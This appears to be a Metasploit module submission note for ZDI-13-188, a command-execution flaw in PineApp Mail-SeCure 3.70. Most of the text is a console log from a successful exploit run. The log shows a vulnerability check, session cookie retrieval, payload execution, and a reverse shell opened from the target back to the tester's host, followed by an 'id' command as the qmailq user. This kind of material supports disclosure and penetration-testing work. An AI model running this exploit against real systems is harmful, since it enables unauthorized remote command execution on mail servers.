Add module for ZDI-13-188

Tested successfully with PineApp Mail-SeCure 3.70

test result:

```
msf > use exploit/linux/http/pineapp_test_li_conn_exec 
msf exploit(pineapp_test_li_conn_exec) > reload
[*] Reloading module...
set rhostmsf exploit(pineapp_test_li_conn_exec) > set rhost 192.168.24.24
rhost => 192.168.24.24
msf exploit(pineapp_test_li_conn_exec) > check
[*] The target appears to be vulnerable.
msf exploit(pineapp_test_li_conn_exec) > exploit

[*] 192.168.24.24:7443 - Retrieving session cookie...
[*] Started reverse double handler
[*] 192.168.24.24:7443 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Te1sBnRrDVQBnEGq;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nTe1sBnRrDVQBnEGq\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.24.21:4444 -> 192.168.24.24:57477) at 2013-07-27 03:26:04 -0500

id
uid=1005(qmailq) gid=102(qmail) groups=102(qmail)
^C
Abort session 1? [y/N]  y

[*] 192.168.24.24 - Command shell session 1 closed.  Reason: User exit

```